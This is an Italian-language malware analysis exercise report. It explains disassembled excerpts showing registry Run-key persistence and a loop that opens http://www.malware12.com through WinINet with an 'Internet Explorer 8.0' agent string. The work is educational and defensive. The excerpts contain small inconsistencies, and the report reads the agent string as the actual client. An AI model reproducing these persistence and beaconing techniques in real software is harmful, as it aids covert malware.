Report Dettagliato sull'Analisi del Malware

Introduzione

In questa esercitazione, ho analizzato un estratto di codice assembly proveniente da un malware reale per rispondere a tre domande specifiche:

1. Come il malware ottiene la persistenza.
2. Identificare il client software utilizzato dal malware per la connessione a Internet.
3. Identificare l'URL al quale il malware tenta di connettersi ed evidenziare la chiamata di funzione che permette al malware di connettersi a un URL.

Persistenza del Malware

Il malware ottiene la persistenza inserendo un nuovo valore all'interno della chiave di registro `Software\Microsoft\Windows\CurrentVersion\Run`. Questa chiave include tutti i programmi che sono avviati automaticamente all'avvio del sistema operativo.

Codice Assembly Analizzato:

```
assembly
Copia codice
0040286F  push        2                 ; samDesired
00402871  push        eax               ; ulOptions
00402872  push        offset SubKey     ;
"Software\\Microsoft\\Windows\\CurrentVersion\\Run"
00402877  push        HKEY_LOCAL_MACHINE ; hKey
0040287C  call        esi               ; RegOpenKeyExW
0040287E  test        eax, eax
00402880  jnz         short loc_4028C5
00402882
00402882 loc_402882:
00402882  lea         ecx, [esp+424h+Data]
00402886  push        ecx               ; lpString
00402887  mov         bl, 1
00402889  call        ds:lstrlenW
0040288F  lea         edx, [esp+424h+Data]
00402893  push        edx               ; lpData
00402894  mov         eax, [esp+428h+hKey]
00402898  lea         ecx, [esp+428h+Data]
0040289C  push        eax               ; hKey
0040289D  lea         eax, [esp+434h+ValueName]
004028A1  push        ecx               ; lpValueName
004028A3  lea         eax, [esp+434h+ValueName]
004028A7  push        eax               ; lpValueName
004028A9  call        ds:RegSetValueExW
```

Processo di Persistenza:

- **RegOpenKeyExW:** Viene utilizzata per aprire la chiave di registro selezionata. I parametri per la chiamata a questa funzione sono passati tramite le istruzioni `push` che precedono la chiamata.
- **RegSetValueExW:** Permette al malware di inserire un nuovo valore all'interno della chiave di registro appena aperta. Questo valore consente al malware di essere eseguito automaticamente all'avvio del sistema.

Client Utilizzato per la Connessione a Internet

Il client utilizzato dal malware per connettersi a Internet è Internet Explorer, più precisamente la versione 8. Questo è identificato dal codice assembly che utilizza le funzioni di rete della libreria WinINet di Windows.

Codice Assembly Analizzato:

```
assembly
Copia codice
.text:00401150  push  esi
.text:00401151  push  edi
.text:00401152  push  0
.text:00401154  push  0
.text:00401156  push  1
.text:00401158  push  1
.text:0040115A  push  offset szAgent     ; "Internet Explorer 8.0"
.text:0040115F  call  ds:InternetOpenA
.text:00401165  mov   edi, eax
.text:00401167  mov   esi, eax
.text:0040116B  loc_40116D:
.text:0040116D  push  0
.text:0040116F  push  80000000h
.text:00401174  push  0
.text:00401176  push  0
.text:00401178  push  offset szUrl       ; "http://www.malware12.com"
.text:0040117D  push  esi
.text:0040117E  call  edi                ; InternetOpenUrlA
.text:00401180  jmp   short loc_40116D
```

Processo di Connessione:

- **InternetOpenA:** Questa funzione apre una sessione Internet specificando "Internet Explorer 8.0" come agente.
- **InternetOpenUrlA:** Viene utilizzata per aprire una URL specifica. In questo caso, l'URL è `http://www.malware12.com`.

URL di Destinazione e Chiamata di Funzione

Il malware cerca di connettersi all'URL `http://www.malware12.com`. La funzione utilizzata per stabilire questa connessione è `InternetOpenUrlA`.

Codice Assembly Analizzato:

```
assembly
Copia codice
.text:00401178  push  offset szUrl       ; "http://www.malware12.com"
.text:0040117D  push  esi
.text:0040117E  call  edi                ; InternetOpenUrlA
```

Descrizione del Processo:

L'URL `http://www.malware12.com` è passato come parametro alla funzione `InternetOpenUrlA` tramite l'istruzione `push`. La funzione viene quindi chiamata per stabilire la connessione.

Conclusione

Questo esercizio ha fornito una chiara comprensione di come un malware può ottenere persistenza modificando il registro di sistema, utilizzare un client di rete per stabilire connessioni Internet e connettersi a un server remoto specifico. Analizzare il codice assembly mi ha permesso di identificare le funzioni e i processi utilizzati dal malware, informazioni cruciali per sviluppare contromisure efficaci e proteggere i sistemi da tali minacce.